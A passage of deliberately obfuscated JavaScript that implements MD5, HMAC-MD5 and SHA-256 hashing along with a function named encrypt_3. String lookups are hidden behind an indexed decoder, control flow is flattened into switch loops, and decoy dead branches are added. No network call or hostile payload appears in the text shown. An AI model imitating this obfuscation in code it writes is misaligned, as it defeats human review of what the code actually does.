_0x47a5df=_0x388c98[_0x511e('84')](_0x687ff5[_0x511e('9')],0x8);continue;case'6':for(_0x22c4f8=0x0;_0x388c98[_0x511e('85')](_0x22c4f8,_0x4ae14a[_0x511e('9')]);_0x22c4f8+=0x1){_0x4ae14a[_0x22c4f8]=0x0;}continue;}break;}}function rstrMD5(_0x199f52){var _0x6e93d8={'klhKm':function(_0xe7a7bf,_0x4b3405){return _0xe7a7bf(_0x4b3405);},'EjPdP':function(_0x4f9cab,_0x460dd6,_0x3c7827){return _0x4f9cab(_0x460dd6,_0x3c7827);},'GOuKe':function(_0x4c75cb,_0x567476){return _0x4c75cb*_0x567476;}};return _0x6e93d8[_0x511e('86')](binl2rstr,_0x6e93d8[_0x511e('87')](binlMD5,_0x6e93d8[_0x511e('86')](rstr2binl,_0x199f52),_0x6e93d8[_0x511e('88')](_0x199f52[_0x511e('9')],0x8)));}function rstrHMACMD5(_0xab85bf,_0x408ec9){var _0x4dec57={'oACEx':_0x511e('89'),'YayYU':function(_0x11f590,_0x2e029d){return _0x11f590>_0x2e029d;},'CBixy':function(_0xff40a5,_0x5f3ff9,_0x2dfe78){return _0xff40a5(_0x5f3ff9,_0x2dfe78);},'OeUBk':function(_0x1a3c1f,_0x5d4b18){return _0x1a3c1f*_0x5d4b18;},'GwhaH':function(_0x5cb1dc,_0x537ce2){return _0x5cb1dc(_0x537ce2);},'AwMnh':function(_0x211bcf,_0x56c57e,_0x186450){return _0x211bcf(_0x56c57e,_0x186450);},'QQvcB':function(_0x290603,_0x4d917f){return _0x290603+_0x4d917f;},'YTCGG':function(_0x565520,_0x465b9a){return _0x565520(_0x465b9a);},'oZMeY':function(_0x2b1543,_0x297638){return _0x2b1543<_0x297638;},'ekmpv':function(_0x4e3069,_0x86c9b3){return _0x4e3069^_0x86c9b3;},'dXBOj':function(_0x32b8d9,_0x4e8e6b){return _0x32b8d9(_0x4e8e6b);},'xqrbW':function(_0x24c618,_0x3ded38){return _0x24c618+_0x3ded38;}};var _0x40c6c3=_0x4dec57[_0x511e('8a')][_0x511e('29')]('|'),_0x488c60=0x0;while(!![]){switch(_0x40c6c3[_0x488c60++]){case'0':if(_0x4dec57[_0x511e('8b')](_0x24eca5[_0x511e('9')],0x10)){_0x24eca5=_0x4dec57[_0x511e('8c')](binlMD5,_0x24eca5,_0x4dec57[_0x511e('8d')](_0xab85bf[_0x511e('9')],0x8));}continue;case'1':_0x4ce1b6[0xf]=_0x3d9b9f[0xf]=undefined;continue;case'2':return _0x4dec57[_0x511e('8e')](binl2rstr,_0x4dec57[_0x511e('8f')](binlMD5,_0x3d9b9f[_0x511e('90')](_0x2f7010),_0x4dec57[_0x511e('91')](0x200,0x80)));case'3':var _0x24eca5=_0x4dec57[_0x511e('92')](rstr2binl,_0xab85bf);continue;case'4':for(_0x469508=0x0;_0x4dec57[_0x511e('93')](_0x469508,0x10);_0x469508+=0x1){_0x4ce1b6[_0x469508]=_0x4dec57[_0x511e('94')](_0x24eca5[_0x469508],0x36363636);_0x3d9b9f[_0x469508]=_0x4dec57[_0x511e('94')](_0x24eca5[_0x469508],0x5c5c5c5c);}continue;case'5':var _0x469508;continue;case'6':var _0x3d9b9f=[];continue;case'7':_0x2f7010=_0x4dec57[_0x511e('8f')](binlMD5,_0x4ce1b6[_0x511e('90')](_0x4dec57[_0x511e('95')](rstr2binl,_0x408ec9)),_0x4dec57[_0x511e('96')](0x200,_0x4dec57[_0x511e('8d')](_0x408ec9[_0x511e('9')],0x8)));continue;case'8':var _0x4ce1b6=[];continue;case'9':var _0x2f7010;continue;}break;}}function rstr2hex(_0x4cb210){var _0x290c28={'JtXwG':_0x511e('97'),'kMlka':function(_0x3a577b,_0x1a0482){return _0x3a577b<_0x1a0482;},'RXqHB':function(_0x1719d9,_0x2cac78){return _0x1719d9!==_0x2cac78;},'tcDbB':_0x511e('98'),'ZdrWb':function(_0x306a4d,_0x788920){return _0x306a4d+_0x788920;},'McnsP':function(_0x2a4853,_0x2f80c6){return _0x2a4853&_0x2f80c6;},'TNUJv':function(_0x1667e2,_0x30caa0){return _0x1667e2>>>_0x30caa0;}};var _0x11e13f=_0x290c28[_0x511e('99')];var _0x5a6c00='';var _0x582bba;var _0x1da743;for(_0x1da743=0x0;_0x290c28[_0x511e('9a')](_0x1da743,_0x4cb210[_0x511e('9')]);_0x1da743+=0x1){if(_0x290c28[_0x511e('9b')](_0x290c28[_0x511e('9c')],_0x290c28[_0x511e('9c')])){return r[_0x511e('9d')](t,n);}else{_0x582bba=_0x4cb210[_0x511e('81')](_0x1da743);_0x5a6c00+=_0x290c28[_0x511e('9e')](_0x11e13f[_0x511e('9f')](_0x290c28[_0x511e('a0')](_0x290c28[_0x511e('a1')](_0x582bba,0x4),0xf)),_0x11e13f[_0x511e('9f')](_0x290c28[_0x511e('a0')](_0x582bba,0xf)));}}return _0x5a6c00;}function str2rstrUTF8(_0x1f7f55){var _0x3aa4b6={'ZLYJZ':function(_0x5ab158,_0x105c46){return _0x5ab158(_0x105c46);},'SUrpO':function(_0x30efba,_0x2c760a){return _0x30efba(_0x2c760a);}};return _0x3aa4b6[_0x511e('a2')](unescape,_0x3aa4b6[_0x511e('a3')](encodeURIComponent,_0x1f7f55));}function rawMD5(_0x38c9da){var _0x3e5f80={'HgPTQ':function(_0x2effa2,_0x173694){return _0x2effa2(_0x173694);},'Gpihk':function(_0x59521d,_0x547210){return _0x59521d(_0x547210);}};return _0x3e5f80[_0x511e('a4')](rstrMD5,_0x3e5f80[_0x511e('a5')](str2rstrUTF8,_0x38c9da));}function hexMD5(_0x5ed0bc){var _0x3551c8={'vHcDW':function(_0x236c6d,_0x31f8dd){return _0x236c6d(_0x31f8dd);}};return _0x3551c8[_0x511e('a6')](rstr2hex,_0x3551c8[_0x511e('a6')](rawMD5,_0x5ed0bc));}function rawHMACMD5(_0x3a61fc,_0x2804c1){var _0x2598d6={'HYsIt':function(_0x401de5,_0x319d39,_0x449cdb){return _0x401de5(_0x319d39,_0x449cdb);},'tiLdH':function(_0xa30a4a,_0x50a67a){return _0xa30a4a(_0x50a67a);}};return _0x2598d6[_0x511e('a7')](rstrHMACMD5,_0x2598d6[_0x511e('a8')](str2rstrUTF8,_0x3a61fc),_0x2598d6[_0x511e('a8')](str2rstrUTF8,_0x2804c1));}function hexHMACMD5(_0x2c6bcf,_0x995ddf){var _0x2ac424={'xfTDI':function(_0x45577e,_0x4c589d){return _0x45577e(_0x4c589d);},'odYYf':function(_0x243a18,_0x393bbe,_0x111c6a){return _0x243a18(_0x393bbe,_0x111c6a);}};return _0x2ac424[_0x511e('a9')](rstr2hex,_0x2ac424[_0x511e('aa')](rawHMACMD5,_0x2c6bcf,_0x995ddf));}function md5(_0x161833,_0x30a1fd,_0x562dce){var _0x23c04d={'fxBSa':function(_0x470311,_0x28f286){return _0x470311(_0x28f286);},'CeHiW':function(_0x5f522a,_0x4de7b3){return _0x5f522a(_0x4de7b3);},'WkcQq':function(_0x2370e4,_0x1b0382,_0x586833){return _0x2370e4(_0x1b0382,_0x586833);}};if(!_0x30a1fd){if(!_0x562dce){return _0x23c04d[_0x511e('ab')](hexMD5,_0x161833);}return _0x23c04d[_0x511e('ac')](rawMD5,_0x161833);}if(!_0x562dce){return _0x23c04d[_0x511e('ad')](hexHMACMD5,_0x30a1fd,_0x161833);}return _0x23c04d[_0x511e('ad')](rawHMACMD5,_0x30a1fd,_0x161833);}function encrypt_3(_0x3e1066){var _0x564704={'FdjSy':function(_0x393342,_0xa8a74d){return _0x393342(_0xa8a74d);},'dQaRk':function(_0x3b3dda,_0x57e329){return _0x3b3dda!=_0x57e329;},'UahHB':_0x511e('ae'),'XmoXZ':function(_0x24adbf,_0x117990){return _0x24adbf in _0x117990;},'wUAtM':function(_0x12bc5d,_0x2b5f08){return _0x12bc5d==_0x2b5f08;},'pgiCw':_0x511e('af'),'VkNCZ':function(_0x24fcfb,_0x9e68d6,_0x3d452d){return _0x24fcfb(_0x9e68d6,_0x3d452d);},'EEjIK':function(_0xe7eca0,_0x5a7ad3){return _0xe7eca0===_0x5a7ad3;},'ublAe':_0x511e('b0'),'sOyZX':_0x511e('b1'),'pUrxy':_0x511e('b2'),'pUQkc':_0x511e('b3'),'ExCPF':_0x511e('b4')};return function(_0x3e1066){if(Array[_0x511e('b5')](_0x3e1066))return _0x564704[_0x511e('b6')](encrypt_3_3,_0x3e1066);}(_0x3e1066)||function(_0x3e1066){if(_0x564704[_0x511e('b7')](_0x564704[_0x511e('b8')],typeof Symbol)&&_0x564704[_0x511e('b9')](Symbol[_0x511e('ba')],_0x564704[_0x511e('b6')](Object,_0x3e1066)))return Array[_0x511e('bb')](_0x3e1066);}(_0x3e1066)||function(_0x3e1066,_0x35dfaf){if(_0x3e1066){if(_0x564704[_0x511e('bc')](_0x564704[_0x511e('bd')],typeof _0x3e1066))return _0x564704[_0x511e('be')](encrypt_3_3,_0x3e1066,_0x35dfaf);var _0x8ff473=Object[_0x511e('bf')][_0x511e('c0')][_0x511e('c1')](_0x3e1066)[_0x511e('c2')](0x8,-0x1);return _0x564704[_0x511e('c3')](_0x564704[_0x511e('c4')],_0x8ff473)&&_0x3e1066[_0x511e('c5')]&&(_0x8ff473=_0x3e1066[_0x511e('c5')][_0x511e('c6')]),_0x564704[_0x511e('c3')](_0x564704[_0x511e('c7')],_0x8ff473)||_0x564704[_0x511e('c3')](_0x564704[_0x511e('c8')],_0x8ff473)?Array[_0x511e('bb')](_0x3e1066):_0x564704[_0x511e('c3')](_0x564704[_0x511e('c9')],_0x8ff473)||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/[_0x511e('ca')](_0x8ff473)?_0x564704[_0x511e('be')](encrypt_3_3,_0x3e1066,_0x35dfaf):void 0x0;}}(_0x3e1066)||function(){throw new TypeError(_0x564704[_0x511e('cb')]);}();}function encrypt_3_3(_0x12e511,_0x5b3b72){var _0x4a6407={'dURia':function(_0x5c4408,_0x408d20){return _0x5c4408==_0x408d20;},'lhbZu':function(_0x28632e,_0x1c16d3){return _0x28632e>_0x1c16d3;},'dEvnt':function(_0x21031b,_0x4c2bf0){return _0x21031b<_0x4c2bf0;}};(_0x4a6407[_0x511e('cc')](null,_0x5b3b72)||_0x4a6407[_0x511e('cd')](_0x5b3b72,_0x12e511[_0x511e('9')]))&&(_0x5b3b72=_0x12e511[_0x511e('9')]);for(var _0x1851f0=0x0,_0x5a5b22=new Array(_0x5b3b72);_0x4a6407[_0x511e('ce')](_0x1851f0,_0x5b3b72);_0x1851f0++)_0x5a5b22[_0x1851f0]=_0x12e511[_0x1851f0];return _0x5a5b22;}function rotateRight(_0x4aad98,_0x1a1be6){var _0x3deb0c={'BZcRl':function(_0x1a1be6,_0x126788){return _0x1a1be6|_0x126788;},'deqkz':function(_0x1a1be6,_0x159fb2){return _0x1a1be6>>>_0x159fb2;},'uUEhp':function(_0x1a1be6,_0x1f0bd5){return _0x1a1be6<<_0x1f0bd5;},'NLHqk':function(_0x1a1be6,_0x46ee22){return _0x1a1be6-_0x46ee22;}};return _0x3deb0c[_0x511e('cf')](_0x3deb0c[_0x511e('d0')](_0x1a1be6,_0x4aad98),_0x3deb0c[_0x511e('d1')](_0x1a1be6,_0x3deb0c[_0x511e('d2')](0x20,_0x4aad98)));}function choice(_0x406a9b,_0x40f4fa,_0x598bc5){var _0x6cca6b={'rTniX':function(_0x406a9b,_0x40f4fa){return _0x406a9b^_0x40f4fa;},'GoxIr':function(_0x406a9b,_0x40f4fa){return _0x406a9b&_0x40f4fa;},'dcRXb':function(_0x406a9b,_0x40f4fa){return _0x406a9b&_0x40f4fa;}};return _0x6cca6b[_0x511e('d3')](_0x6cca6b[_0x511e('d4')](_0x406a9b,_0x40f4fa),_0x6cca6b[_0x511e('d5')](~_0x406a9b,_0x598bc5));}function majority(_0x14b16c,_0x4f86e1,_0x9b66bf){var _0x2676ea={'CLvFZ':function(_0x14b16c,_0x4f86e1){return _0x14b16c^_0x4f86e1;},'RELRu':function(_0x14b16c,_0x4f86e1){return _0x14b16c^_0x4f86e1;},'bosIL':function(_0x14b16c,_0x4f86e1){return _0x14b16c&_0x4f86e1;}};return _0x2676ea[_0x511e('d6')](_0x2676ea[_0x511e('d7')](_0x2676ea[_0x511e('d8')](_0x14b16c,_0x4f86e1),_0x2676ea[_0x511e('d8')](_0x14b16c,_0x9b66bf)),_0x2676ea[_0x511e('d8')](_0x4f86e1,_0x9b66bf));}function sha256_Sigma0(_0x2dce03){var _0x107d7c={'Gpsqy':function(_0x2dce03,_0x5f49dd){return _0x2dce03^_0x5f49dd;},'SMrSv':function(_0x10edf4,_0x83d14f,_0x83f01b){return _0x10edf4(_0x83d14f,_0x83f01b);},'gVdAh':function(_0x246a46,_0x2029f3,_0x43ccce){return _0x246a46(_0x2029f3,_0x43ccce);},'pqXIW':function(_0x16b09b,_0x5b0bca,_0x1a547e){return _0x16b09b(_0x5b0bca,_0x1a547e);}};return _0x107d7c[_0x511e('d9')](_0x107d7c[_0x511e('d9')](_0x107d7c[_0x511e('da')](rotateRight,0x2,_0x2dce03),_0x107d7c[_0x511e('db')](rotateRight,0xd,_0x2dce03)),_0x107d7c[_0x511e('dc')](rotateRight,0x16,_0x2dce03));}function sha256_Sigma1(_0x4b2049){var _0x352ff2={'EUjxF':function(_0x4b2049,_0x41339a){return _0x4b2049^_0x41339a;},'kaTHX':function(_0x4b2049,_0x253728){return _0x4b2049^_0x253728;},'ZbYHP':function(_0x8260c0,_0x40a047,_0xc7b1d6){return _0x8260c0(_0x40a047,_0xc7b1d6);},'vXAlR':function(_0x5469f1,_0x1b1de,_0x12990f){return _0x5469f1(_0x1b1de,_0x12990f);}};return _0x352ff2[_0x511e('dd')](_0x352ff2[_0x511e('de')](_0x352ff2[_0x511e('df')](rotateRight,0x6,_0x4b2049),_0x352ff2[_0x511e('df')](rotateRight,0xb,_0x4b2049)),_0x352ff2[_0x511e('e0')](rotateRight,0x19,_0x4b2049));}function sha256_sigma0(_0x428e87){var _0x52fb86={'vJaAT':function(_0x428e87,_0x1965f8){return _0x428e87^_0x1965f8;},'RLzPJ':function(_0x428e87,_0x1ba824){return _0x428e87^_0x1ba824;},'OzWim':function(_0x32a1c3,_0x2a7313,_0x2869ef){return _0x32a1c3(_0x2a7313,_0x2869ef);},'qNjuz':function(_0x14c83b,_0x1b6a60,_0x2f6d22){return _0x14c83b(_0x1b6a60,_0x2f6d22);},'lWPHC':function(_0x428e87,_0x433ae9){return _0x428e87>>>_0x433ae9;}};return _0x52fb86[_0x511e('e1')](_0x52fb86[_0x511e('e2')](_0x52fb86[_0x511e('e3')](rotateRight,0x7,_0x428e87),_0x52fb86[_0x511e('e4')](rotateRight,0x12,_0x428e87)),_0x52fb86[_0x511e('e5')](_0x428e87,0x3));}function sha256_sigma1(_0x4def5c){var _0xc349fa={'UKpHo':function(_0x4def5c,_0x15e4b5){return _0x4def5c^_0x15e4b5;},'ZPmhb':function(_0x4bce5e,_0x5e05e2,_0x379392){return _0x4bce5e(_0x5e05e2,_0x379392);},'MUMIP':function(_0x4def5c,_0x514aba){return _0x4def5c>>>_0x514aba;}};return _0xc349fa[_0x511e('e6')](_0xc349fa[_0x511e('e6')](_0xc349fa[_0x511e('e7')](rotateRight,0x11,_0x4def5c),_0xc349fa[_0x511e('e7')](rotateRight,0x13,_0x4def5c)),_0xc349fa[_0x511e('e8')](_0x4def5c,0xa));}function sha256_expand(_0x1e9249,_0x25e098){var _0x22412a={'dBUIv':function(_0x18cfb1,_0x2c2c77){return _0x18cfb1&_0x2c2c77;},'eKMWA':function(_0x4b5733,_0xbc9986){return _0x4b5733+_0xbc9986;},'lWCKk':function(_0x5a5a28,_0x116ae3){return _0x5a5a28(_0x116ae3);},'evfkF':function(_0x2a61cd,_0x37f25b){return _0x2a61cd+_0x37f25b;},'WKcuu':function(_0x51fd0d,_0x3b1aea){return _0x51fd0d&_0x3b1aea;},'LOuBx':function(_0x526680,_0x37503){return _0x526680&_0x37503;}};return _0x1e9249[_0x22412a[_0x511e('e9')](_0x25e098,0xf)]+=_0x22412a[_0x511e('ea')](_0x22412a[_0x511e('ea')](_0x22412a[_0x511e('eb')](sha256_sigma1,_0x1e9249[_0x22412a[_0x511e('e9')](_0x22412a[_0x511e('ec')](_0x25e098,0xe),0xf)]),_0x1e9249[_0x22412a[_0x511e('ed')](_0x22412a[_0x511e('ec')](_0x25e098,0x9),0xf)]),_0x22412a[_0x511e('eb')](sha256_sigma0,_0x1e9249[_0x22412a[_0x511e('ee')](_0x22412a[_0x511e('ec')](_0x25e098,0x1),0xf)]));}var K256=new Array(0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,0xe49b69c1,0xefbe4786,0xfc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x6ca6351,0x14292967,0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2);var ihash,count,buffer;var sha256_hex_digits=_0x511e('97');function safe_add(_0x354e3c,_0x40da82){var _0x375648={'QLeeZ':function(_0x354e3c,_0x40da82){return _0x354e3c+_0x40da82;},'FvkAf':function(_0x354e3c,_0x40da82){return _0x354e3c&_0x40da82;},'eiIMX':function(_0x354e3c,_0x40da82){return _0x354e3c&_0x40da82;},'sXmJg':function(_0x354e3c,_0x40da82){return _0x354e3c+_0x40da82;},'UxVVm':function(_0x354e3c,_0x40da82){return _0x354e3c>>_0x40da82;},'BXFIB':function(_0x354e3c,_0x40da82){return _0x354e3c>>_0x40da82;},'bhJVw':function(_0x354e3c,_0x40da82){return _0x354e3c|_0x40da82;},'mlasK':function(_0x354e3c,_0x40da82){return _0x354e3c<<_0x40da82;},'eynYJ':function(_0x354e3c,_0x40da82){return _0x354e3c&_0x40da82;}};var _0x535882=_0x375648[_0x511e('ef')](_0x375648[_0x511e('f0')](_0x354e3c,0xffff),_0x375648[_0x511e('f1')](_0x40da82,0xffff));var _0x29de4b=_0x375648[_0x511e('f2')](_0x375648[_0x511e('f2')](_0x375648[_0x511e('f3')](_0x354e3c,0x10),_0x375648[_0x511e('f4')](_0x40da82,0x10)),_0x375648[_0x511e('f4')](_0x535882,0x10));return _0x375648[_0x511e('f5')](_0x375648[_0x511e('f6')](_0x29de4b,0x10),_0x375648[_0x511e('f7')](_0x535882,0xffff));}function sha256_init(){var _0xf047ce={'BjEMg':_0x511e('f8')};var _0xc06e4f=_0xf047ce[_0x511e('f9')][_0x511e('29')]('|'),_0x4236d7=0x0;while(!![]){switch(_0xc06e4f[_0x4236d7++]){case'0':ihash[0x5]=0x9b05688c;continue;case'1':ihash[0x2]=0x3c6ef372;continue;case'2':ihash[0x7]=0x5be0cd19;continue;case'3':ihash[0x1]=0xbb67ae85;continue;case'4':count[0x0]=count[0x1]=0x0;continue;case'5':ihash[0x0]=0x6a09e667;continue;case'6':count=new Array(0x2);continue;case'7':buffer=new Array(0x40);continue;case'8':ihash[0x3]=0xa54ff53a;continue;case'9':ihash[0x6]=0x1f83d9ab;continue;case'10':ihash=new Array(0x8);continue;case'11':ihash[0x4]=0x510e527f;continue;}break;}}function sha256_transform(){var _0x3c3a32={'ACgiw':_0x511e('fa'),'KaByP':function(_0x356a45,_0x5c5f8c){return _0x356a45<_0x5c5f8c;},'wBwXR':function(_0x35a3f4,_0x905dc){return _0x35a3f4|_0x905dc;},'gNtwZ':function(_0x585c87,_0x13ade8){return _0x585c87+_0x13ade8;},'geplY':function(_0x1f7bd4,_0x32f298){return _0x1f7bd4<<_0x32f298;},'HfGge':function(_0x59aa2e,_0x7c4470){return _0x59aa2e<<_0x7c4470;},'XVzyK':function(_0x5e28b5,_0x110a76){return _0x5e28b5<<_0x110a76;},'gRNlr':function(_0x54bdc5,_0x4ba847){return _0x54bdc5<<_0x4ba847;},'sXDod':_0x511e('fb'),'Cfyes':function(_0x50fd9d,_0x5ef59d,_0x581f71){return _0x50fd9d(_0x5ef59d,_0x581f71);},'tJyGy':function(_0x1b972d,_0x17bca9){return _0x1b972d(_0x17bca9);},'ZZEVO':function(_0xb2b644,_0x28ea84,_0x4edad5,_0x340533){return _0xb2b644(_0x28ea84,_0x4edad5,_0x340533);},'uEQUJ':function(_0x5425e2,_0x5150b8){return _0x5425e2+_0x5150b8;},'poeVz':function(_0x2ee0dd,_0x2a60f4,_0xf1bdb4,_0x16a9bf){return _0x2ee0dd(_0x2a60f4,_0xf1bdb4,_0x16a9bf);},'meanr':function(_0x5a0672,_0x2237d0){return _0x5a0672<_0x2237d0;}};var _0x4f9ab4=_0x3c3a32[_0x511e('fc')][_0x511e('29')]('|'),_0x1e2cd3=0x0;while(!![]){switch(_0x4f9ab4[_0x1e2cd3++]){case'0':ihash[0x3]+=_0x3b112e;continue;case'1':_0x65c691=ihash[0x2];continue;case'2':var _0x5553cf,_0x3f69cf,_0x65c691,_0x3b112e,_0xc254c6,_0x2ccf78,_0x1b8df5,_0x5c7a92,_0x416374,_0x35adf4;continue;case'3':_0x5c7a92=ihash[0x7];continue;case'4':for(var _0x31e6c4=0x0;_0x3c3a32[_0x511e('fd')](_0x31e6c4,0x10);_0x31e6c4++)_0x1c4177[_0x31e6c4]=_0x3c3a32[_0x511e('fe')](_0x3c3a32[_0x511e('fe')](_0x3c3a32[_0x511e('fe')](buffer[_0x3c3a32[_0x511e('ff')](_0x3c3a32[_0x511e('100')](_0x31e6c4,0x2),0x3)],_0x3c3a32[_0x511e('100')](buffer[_0x3c3a32[_0x511e('ff')](_0x3c3a32[_0x511e('100')](_0x31e6c4,0x2),0x2)],0x8)),_0x3c3a32[_0x511e('100')](buffer[_0x3c3a32[_0x511e('ff')](_0x3c3a32[_0x511e('101')](_0x31e6c4,0x2),0x1)],0x10)),_0x3c3a32[_0x511e('102')](buffer[_0x3c3a32[_0x511e('103')](_0x31e6c4,0x2)],0x18));continue;case'5':_0x3f69cf=ihash[0x1];continue;case'6':_0x1b8df5=ihash[0x6];continue;case'7':_0xc254c6=ihash[0x4];continue;case'8':_0x5553cf=ihash[0x0];continue;case'9':ihash[0x4]+=_0xc254c6;continue;case'10':ihash[0x2]+=_0x65c691;continue;case'11':for(var _0x1b6b7b=0x0;_0x3c3a32[_0x511e('fd')](_0x1b6b7b,0x40);_0x1b6b7b++){var _0x54dce4=_0x3c3a32[_0x511e('104')][_0x511e('29')]('|'),_0x5d5f68=0x0;while(!![]){switch(_0x54dce4[_0x5d5f68++]){case'0':_0x5c7a92=_0x1b8df5;continue;case'1':_0x2ccf78=_0xc254c6;continue;case'2':_0x3f69cf=_0x5553cf;continue;case'3':_0x5553cf=_0x3c3a32[_0x511e('105')](safe_add,_0x416374,_0x35adf4);continue;case'4':_0xc254c6=_0x3c3a32[_0x511e('105')](safe_add,_0x3b112e,_0x416374);continue;case'5':_0x35adf4=_0x3c3a32[_0x511e('ff')](_0x3c3a32[_0x511e('106')](sha256_Sigma0,_0x5553cf),_0x3c3a32[_0x511e('107')](majority,_0x5553cf,_0x3f69cf,_0x65c691));continue;case'6':_0x416374=_0x3c3a32[_0x511e('ff')](_0x3c3a32[_0x511e('ff')](_0x3c3a32[_0x511e('108')](_0x5c7a92,_0x3c3a32[_0x511e('106')](sha256_Sigma1,_0xc254c6)),_0x3c3a32[_0x511e('109')](choice,_0xc254c6,_0x2ccf78,_0x1b8df5)),K256[_0x1b6b7b]);continue;case'7':if(_0x3c3a32[_0x511e('10a')](_0x1b6b7b,0x10))_0x416374+=_0x1c4177[_0x1b6b7b];else _0x416374+=_0x3c3a32[_0x511e('105')](sha256_expand,_0x1c4177,_0x1b6b7b);continue;case'8':_0x1b8df5=_0x2ccf78;continue;case'9':_0x65c691=_0x3f69cf;continue;case'10':_0x3b112e=_0x65c691;continue;}break;}}continue;case'12':ihash[0x7]+=_0x5c7a92;continue;case'13':ihash[0x1]+=_0x3f69cf;continue;case'14':ihash[0x5]+=_0x2ccf78;continue;case'15':_0x3b112e=ihash[0x3];continue;case'16':_0x2ccf78=ihash[0x5];continue;case'17':ihash[0x0]+=_0x5553cf;continue;case'18':var _0x1c4177=new Array(0x10);continue;case'19':ihash[0x6]+=_0x1b8df5;continue;}break;}}function sha256_update(_0x5d9e44,_0x1fe0cd){var _0x5bd775={'cgcxN':_0x511e('10b'),'HvTGe':function(_0x565643,_0x3d1281){return _0x565643<_0x3d1281;},'KwrXD':function(_0x37f9f1,_0x586d8c){return _0x37f9f1>>_0x586d8c;},'nCRXu':function(_0x53ab42,_0x421aac){return _0x53ab42&_0x421aac;},'ZDgIu':function(_0x94cddb,_0x2d2513){return _0x94cddb+_0x2d2513;},'olLAL':function(_0x4685a2,_0x34b388){return _0x4685a2<_0x34b388;},'nxypw':function(_0x42788d){return _0x42788d();},'jZKkz':function(_0x1bac43,_0x2d1c3e){return _0x1bac43<<_0x2d1c3e;},'zdGgu':function(_0x4d076b,_0x426849){return _0x4d076b<<_0x426849;}};var _0x3650ae=_0x5bd775[_0x511e('10c')][_0x511e('29')]('|'),_0x40446b=0x0;while(!![]){switch(_0x3650ae[_0x40446b++]){case'0':for(var _0x43e052=0x0;_0x5bd775[_0x511e('10d')](_0x43e052,_0xa48edd);_0x43e052++)buffer[_0x43e052]=_0x5d9e44[_0x511e('81')](_0x4ba87d++);continue;case'1':count[0x1]+=_0x5bd775[_0x511e('10e')](_0x1fe0cd,0x1d);continue;case'2':_0x4ab32b=_0x5bd775[_0x511e('10f')](_0x5bd775[_0x511e('10e')](count[0x0],0x3),0x3f);continue;case'3':for(_0x1c6347=0x0;_0x5bd775[_0x511e('10d')](_0x5bd775[_0x511e('110')](_0x1c6347,0x3f),_0x1fe0cd);_0x1c6347+=0x40){for(var _0x43e052=_0x4ab32b;_0x5bd775[_0x511e('111')](_0x43e052,0x40);_0x43e052++)buffer[_0x43e052]=_0x5d9e44[_0x511e('81')](_0x4ba87d++);_0x5bd775[_0x511e('112')](sha256_transform);_0x4ab32b=0x0;}continue;case'4':var _0xa48edd=_0x5bd775[_0x511e('10f')](_0x1fe0cd,0x3f);continue;case'5':if(_0x5bd775[_0x511e('111')](count[0x0]+=_0x5bd775[_0x511e('113')](_0x1fe0cd,0x3),_0x5bd775[_0x511e('114')](_0x1fe0cd,0x3)))count[0x1]++;continue;case'6':var _0x1c6347,_0x4ab32b,_0x4ba87d=0x0;continue;}break;}}function sha256_final(){var _0x3393b8={'WqebA':function(_0x38cbf2,_0x45d205){return _0x38cbf2^_0x45d205;},'ikoru':function(_0x1d4548,_0x391456){return _0x1d4548%_0x391456;},'PxLZK':function(_0x219b9e,_0x3f973f){return _0x219b9e&_0x3f973f;},'rIjZp':function(_0x3b7ff1,_0x4ff353){return _0x3b7ff1>>_0x4ff353;},'yOPUl':function(_0x4e28d4,_0x216823){return _0x4e28d4<=_0x216823;},'SolaT':function(_0x6edae1,_0x2713a9){return _0x6edae1===_0x2713a9;},'PfgSA':_0x511e('115'),'TavCz':_0x511e('116'),'PyPbm':function(_0x187b13,_0x479cbe){return _0x187b13<_0x479cbe;},'msRjl':function(_0x3c5de9){return _0x3c5de9();},'EeENs':function(_0x31875b,_0x7ec742){return _0x31875b<_0x7ec742;},'cOVXK':function(_0xd5d982,_0x2b0ab3){return _0xd5d982>>>_0x2b0ab3;},'CvzTC':function(_0x42bb27,_0x17ea9f){return _0x42bb27>>>_0x17ea9f;},'skKeA':function(_0x1087b2,_0x4e755a){return _0x1087b2&_0x4e755a;},'Lxeud':function(_0x96aed0,_0x418d36){return _0x96aed0>>>_0x418d36;},'dUJds':function(_0x44e63d,_0x2e8134){return _0x44e63d&_0x2e8134;},'rnYWw':function(_0x20260c,_0x6d9e3d){return _0x20260c&_0x6d9e3d;},'xMyKW':function(_0x57caea,_0x1c763c){return _0x57caea&_0x1c763c;},'FECUm':function(_0x4f908a,_0x5e8b09){return _0x4f908a&_0x5e8b09;},'ktZkl':function(_0x119f19){return _0x119f19();}};var _0xf6dbe1=_0x3393b8[_0x511e('117')](_0x3393b8[_0x511e('118')](count[0x0],0x3),0x3f);buffer[_0xf6dbe1++]=0x80;if(_0x3393b8[_0x511e('119')](_0xf6dbe1,0x38)){if(_0x3393b8[_0x511e('11a')](_0x3393b8[_0x511e('11b')],_0x3393b8[_0x511e('11c')])){str+=String[_0x511e('75')](_0x3393b8[_0x511e('11d')](po[_0x511e('81')](vi),p1[_0x511e('81')](_0x3393b8[_0x511e('11e')](vi,p1[_0x511e('9')]))));}else{for(var _0x198191=_0xf6dbe1;_0x3393b8[_0x511e('11f')](_0x198191,0x38);_0x198191++)buffer[_0x198191]=0x0;}}else{for(var _0x198191=_0xf6dbe1;_0x3393b8[_0x511e('11f')](_0x198191,0x40);_0x198191++)buffer[_0x198191]=0x0;_0x3393b8[_0x511e('120')](sha256_transform);for(var 